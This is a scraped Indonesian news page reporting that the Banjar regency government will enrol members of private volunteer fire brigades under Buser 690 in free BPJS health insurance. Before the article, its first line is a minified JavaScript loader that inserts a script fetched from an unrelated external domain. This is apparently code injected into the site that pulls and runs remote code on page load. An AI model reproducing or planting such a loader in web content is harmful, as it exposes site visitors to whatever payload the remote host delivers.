(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kabar gembira bagi anggota BPK PMK swasta di Kabupaten Banjar, mereka bakal diberi jaminan kesehatan gratis oleh Pemerintah Kabupaten (Pemkab) Banjar.
Murzani MZ, Wakil Sekretaris Buser (Bumi Selamat Rescue) 690 Banjar mengatakan, pihaknya sudah mengeluarkan surat edaran No: 021/BUSER690/SE/X/2023 perihal permohonan data anggota BPK PMK untuk pengusulan BPJS Kesehatan oleh Pemkab Banjar.
Surat edaran Buser 690 Banjar itu menindaklanjuti surat dari Pemkab Banjar bernomor : 500.15.12.2./476/ Disnaker tentang permintaan data pekerja sektoral data pemadam kebakaran swasta, serta hasil koordinasi pertemuan dengan Dinas Kesehatan Kabupaten Banjar dan pengurus Buser 690 Banjar.
Baca juga: Keliling 14 Kota Sebar Poster Ujaran Kebencian, Kakek Asal Jateng Ditangkap di Kalsel
“Hasil pertemuan Pemerintah Kabupaten Banjar akan memberikan jaminan kesehatan BPJS Kesehatan gratis kepada anggota BPK yang terdaftar dalam Buser 690 Banjar beserta keluarga,” ujar Murzani MZ
Masih lanjut Murzani MZ, perlu diketahui sebelum terbitnya surat edaran tersebut, usulan perlindungan kesehatan itu berasal dari relawan BPK PMK yang tergabung dalam Buser 690.
Murzani MZ, Wakil Sekretaris Buser 690 Banjar. Foto: nh
“Awalnya dari keluhan-keluhan di grup kita Buser 690 Banjar, kemudian diproses dan akhirnya di berikanlah jaminan kesehatan untuk anggota BPK PMK yang belum memiliki jaminan kesehatan,” jelasnya.
Baca juga: Imbang di Kandang, Barito Putera Isi Posisi Ketujuh Klasemen
Jaminan kesehatan untuk anggota BPK swasta didaftarkan ke BPJS Kesehatan untuk tenaga kerja non formal. Dari pemerintah daerah mendaftarkan anggota pemadam swasta yang dikategorikan sebagai tenaga kerja non formal.
Sekadar diketahui, BPK swasta yang di bawah binaan Buser 690 Banjar ada 148 unit, dengan jumlah anggota bervariasi.
Surat edaran Buser 690 diterbitkan untuk proses pengumpulan data setiap unit agar melengkapi persyaratan berkas pengusulan BPJS kesehatan gratis dari Pemkab Banjar.
“Ada 148 unit BPK PMK dibawah Buser 690, saat ini masih dalam proses update data anggota, dan sebelum tanggal 10 November 2023 semua data anggota sudah harus diterima,” katanya. (Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.